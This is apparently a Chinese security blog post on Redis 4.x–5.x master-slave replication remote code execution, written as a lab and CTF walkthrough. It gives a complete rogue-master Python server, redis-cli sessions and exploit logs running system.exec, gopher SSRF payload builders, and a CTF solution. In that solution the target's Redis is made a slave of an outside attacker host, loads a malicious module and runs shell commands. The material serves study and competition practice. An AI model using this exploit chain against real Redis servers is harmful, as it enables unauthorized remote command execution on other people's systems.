[toc]
redis 主从复制 RCE
漏洞分析
漏洞的详细原理:
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
环境
1 2 3 4
| ant 10.0.1.4 bee 10.0.1.5 kali 10.0.1.8 redis-server 5.0.7 (这个漏洞针对 redis4.x~5.x)
|
先把 /etc/redis.conf
改一改
把 bind 127.0.0.1 ::1
这行注释掉,这样一来redis-server 的 host 就默认是 0.0.0.0
,把 protected-mode yes
改成 protected-mode no
,关闭默认打开 保护模式这个选项
主从复制
最开始 ant 是有 test
这个键的,bee 没有 :
将 bee 设置为 ant 的 slave,就有 test
这个键了:
slave 不能写,只能读:
master 能写,也能读:
流量分析
bee 打完 slaveof
命令,就会给 ant 发个 PSYNC
命令
如果 slave 给 master 发送 PSYNC
,则 master 先 响应 FULLRESYNC
命令,紧接着就是 payload ,而 payload 并不是直接到达 slave 的内存,而是写到 slave 的 dbfile 中,然后 slave 从 dbfile 中读进 内存:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| inhann@ubuntu:~$ redis-cli 127.0.0.1:6379> CONFIG GET dir 1) "dir" 2) "/var/lib/redis" 127.0.0.1:6379> CONFIG SET dbfilename fuck.txt OK 127.0.0.1:6379> keys * (empty list or set) 127.0.0.1:6379> SLAVEOF 10.0.1.4 6379 OK 127.0.0.1:6379> keys * 1) "flag" 127.0.0.1:6379> inhann@ubuntu:~$ sudo ls /var/lib/redis/ | grep fuck fuck.txt
|
分析流量:
当收到 slave 的 PSYNC
命令后,master发送 FULLRESYNC
命令,后面跟着许多 payload
看看 dbfile 的内容:
可以分析出 master 的 响应的 大致结构:
1
| +FULLRESYNC <c*40> 1484\r\n$<len_payload>\r\n<paylodd>
|
任意文件写
先连接上 redis-server ,如果权限满足,可以先让 redis-server 执行 config set dir /var/www/html
和 config set dbfilename exp.txt
,然后执行 slaveof
命令,成为恶意 master 的 slave ,恶意 master 在接收到 redis-server 的 PSYNC
命令后,返回 FULLRESYNC
命令,并将 payload 紧跟着发送。最终 payload 被写到 redis-server 的 /var/www/html/exp.txt
当中
实验一下:
kali 10.0.1.8
:
跑恶意 master
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| import os import sys import argparse import socketserver import logging import socket import time
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"\r\n"
class RoguoHandler(socketserver.BaseRequestHandler): def decode(self, data): if data.startswith(b'*'): return data.strip().split(DELIMITER)[2::2] if data.startswith(b'$'): return data.split(DELIMITER, 2)[1]
return data.strip().split()
def handle(self): while True: data = self.request.recv(1024) print(data) logging.info("receive data: %r", data) arr = self.decode(data) if arr[0].startswith(b'PING'): self.request.sendall(b'+PONG' + DELIMITER) elif arr[0].startswith(b'REPLCONF'): self.request.sendall(b'+OK' + DELIMITER) elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'): self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER) self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER) self.request.sendall(self.server.payload + DELIMITER) break
self.finish()
def finish(self): self.request.close()
class RoguoServer(socketserver.TCPServer): allow_reuse_address = True
def __init__(self, server_address, payload): super(RoguoServer, self).__init__(server_address, RoguoHandler, True) self.payload = payload
if __name__=='__main__': expfile = '/home/inhann/flag.txt' lport = 6666 with open(expfile, 'rb') as f: server = RoguoServer(('0.0.0.0', lport), f.read()) print("[+] listening ......") server.handle_request() print("[+] completed ~~~")
|
1 2 3
| ┌──(inhann㉿kali)-[~/kali] └─$ cat /home/inhann/flag.txt flag{redis_falgfalg}
|
1 2 3
| ┌──(inhann㉿kali)-[~/kali] └─$ python3 redis_server.py [+] listening .....
|
bee 10.0.1.5
1 2 3 4 5 6 7 8 9 10
| inhann@ubuntu:~$ redis-cli 127.0.0.1:6379> CONFIG GET dir 1) "dir" 2) "/var/lib/redis" 127.0.0.1:6379> CONFIG GET dbfilename 1) "dbfilename" 2) "flag.txt" 127.0.0.1:6379> SLAVEOF 10.0.1.8 6666 OK 127.0.0.1:6379>
|
成功:
redis 加载 恶意 .so
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
主从复制 rce
可以把 恶意 .so 写到 slave 的 dbfile 中,然后让 slave module load
,最终就能在 slave 上执行 system.exec
这样的恶意命令
vulhub redis 4.x/5.x 未授权访问漏洞 复现
环境
https://github.com/vulhub/vulhub/tree/master/redis/4-unacc
直接用 exp:
https://github.com/vulhub/redis-rogue-getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| inhann@ubuntu:~/redis-rogue-getshell$ ./redis-master.py -r 127.0.0.1 -p 12345 -L 172.17.0.1 -P 8888 -f RedisModulesSDK/exp.so -c 'id' >> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$10\r\n172.17.0.1\r\n$4\r\n8888\r\n' >> receive data: b'+OK\r\n' >> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n' >> receive data: b'+OK\r\n' >> receive data: b'PING\r\n' >> receive data: b'REPLCONF listening-port 6379\r\n' >> receive data: b'REPLCONF capa eof capa psync2\r\n' >> receive data: b'PSYNC 265ee65ed1557b46d5e2d58fa6cc6f77021c329c 1\r\n' >> send data: b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n' >> receive data: b'+OK\r\n' >> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n' >> receive data: b'+OK\r\n' >> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$8\r\ndump.rdb\r\n' >> receive data: b'+OK\r\n' >> send data: b'*2\r\n$11\r\nsystem.exec\r\n$2\r\nid\r\n' >> receive data: b'$49\r\nJuid=999(redis) gid=999(redis) groups=999(redis)\n\r\n' Juid=999(redis) gid=999(redis) groups=999(redis)
>> send data: b'*3\r\n$6\r\nMODULE\r\n$6\r\nUNLOAD\r\n$6\r\nsystem\r\n' >> receive data: b'+OK\r\n'
|
1 2
| 172.17.0.1 是 docker0 网卡的 ip 127.0.0.1 是docker 靶机的 ip,即本地搭起来的
|
一键执行任意命令了属于是
用 redis-cli 交互 从而攻击
编译好 .so
起一个 恶意 master
1 2 3 4 5 6 7 8
| if __name__=='__main__': expfile = '~/master_slave_rce/RedisModules-ExecuteCommand/module.so' lport = 6666 with open(expfile, 'rb') as f: server = RoguoServer(('0.0.0.0', lport), f.read()) print("[+] listening ......") server.handle_request() print("[+] completed ~~~")
|
1 2 3 4 5 6 7 8 9 10 11
| root@ubuntu:~/Scripts# python -u "~/master_slave_rce/evil_server.py" [+] listening ...... b'PING\r\n' >> receive data: b'PING\r\n' b'REPLCONF listening-port 6379\r\n' >> receive data: b'REPLCONF listening-port 6379\r\n' b'REPLCONF capa eof capa psync2\r\n' >> receive data: b'REPLCONF capa eof capa psync2\r\n' b'PSYNC 15ebdc16637530d144891b65007c49a6f1081c31 1\r\n' >> receive data: b'PSYNC 15ebdc16637530d144891b65007c49a6f1081c31 1\r\n' [+] completed ~~~
|
slave 执行命令:
1 2 3 4 5 6 7 8 9 10 11 12 13
| inhann@ubuntu:~$ redis-cli -p 12345 127.0.0.1:12345> CONFIG GET dbfilename 1) "dbfilename" 2) "dump.rdb" 127.0.0.1:12345> CONFIG GET dir 1) "dir" 2) "/data" 127.0.0.1:12345> SLAVEOF 172.17.0.1 6666 OK 127.0.0.1:12345> MODULE LOAD /data/dump.rdb OK 127.0.0.1:12345> system.exec id "uid=999(redis) gid=999(redis) groups=999(redis)\n"
|
用 gopher 攻击
抓 请求的流量:
CONFIG GET dbfilename
:
CONFIG GET dir
:
SLAVEOF 172.17.0.1 6666
:
MODULE LOAD /data/dump.rdb
:
1
| MODULE LOAD /data/dump.rdb
|
system.exec id
请求流量可以就是命令本身,这是redis 协议的 plaintext 形式
因而构造 tcp 流:
1 2 3 4 5
| from urllib.parse import quote tcp_payload = "SLAVEOF 172.17.0.1 6666\r\nMODULE LOAD /data/dump.rdb\r\nsystem.exec id\r\n" url = f"gopher://127.0.0.1:12345/_{quote(tcp_payload)}" print(url)
|
因为已经知道了 dbfilename 还有 dir ,就直接用了
打靶机:
第一次没成功,应该是因为 exp.so 还没写完就加载,第二次就成功了,因为此时 exp.so 已经写完了
[网鼎杯 2020 玄武组]SSRFMe
只能用4个协议
1
| ?url=http://0.0.0.0/hint.php
|
http://0.0.0.0/hint.php
用于 curl
1 2 3 4 5 6 7 8
| <?php if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){ highlight_file(__FILE__); } if(isset($_POST['file'])){ file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']); }
|
应该是要打 redis
1 2 3 4 5 6 7 8 9
| from urllib.parse import quote import requests tcp_payload = "auth root\r\nconfig get dir\r\nquit\r\n" print(tcp_payload) inner_url = f"gopher://0.0.0.0:6379/_{quote(quote(tcp_payload))}"
url = "http://ecc9a50f-0c9d-4c22-b655-95bb7fbedbf5.node4.buuoj.cn:81/?url=" + inner_url resp = requests.get(url) print(resp.text)
|
远程搭建 恶意 master:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
|
import os import sys import argparse import socketserver import logging import socket import time
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"\r\n"
class RoguoHandler(socketserver.BaseRequestHandler): def decode(self, data): if data.startswith(b'*'): return data.strip().split(DELIMITER)[2::2] if data.startswith(b'$'): return data.split(DELIMITER, 2)[1]
return data.strip().split()
def handle(self): while True: data = self.request.recv(1024) print(data) logging.info("receive data: %r", data) arr = self.decode(data) if arr[0].startswith(b'PING'): self.request.sendall(b'+PONG' + DELIMITER) elif arr[0].startswith(b'REPLCONF'): self.request.sendall(b'+OK' + DELIMITER) elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'): self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER) self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER) self.request.sendall(self.server.payload + DELIMITER) break
self.finish()
def finish(self): self.request.close()
class RoguoServer(socketserver.TCPServer): allow_reuse_address = True
def __init__(self, server_address, payload): super(RoguoServer, self).__init__(server_address, RoguoHandler, True) self.payload = payload
if __name__=='__main__': expfile = '~/sss/module.so' lport = 6666 with open(expfile, 'rb') as f: server = RoguoServer(('0.0.0.0', lport), f.read()) print("[+] listening ......") server.handle_request() print("[+] completed ~~~")
|
恶意 .so ,放到 ~/sss/module.so
打 靶机:
1 2 3 4 5 6 7 8 9
| from urllib.parse import quote import requests tcp_payload = "auth root\r\nSLAVEOF 49.00.13.21 6666\r\nMODULE LOAD /var/lib/redis/dump.rdb\r\nsystem.exec 'nl /*'\r\nquit\r\n" print(tcp_payload) inner_url = f"gopher://0.0.0.0:6379/_{quote(quote(tcp_payload))}"
url = "http://ecc9a50f-0c9d-4c22-b655-95bb7fbedbf5.node4.buuoj.cn:81/?url=" + inner_url resp = requests.get(url) print(resp.text)
|
请求两次,成功执行命令 nl /*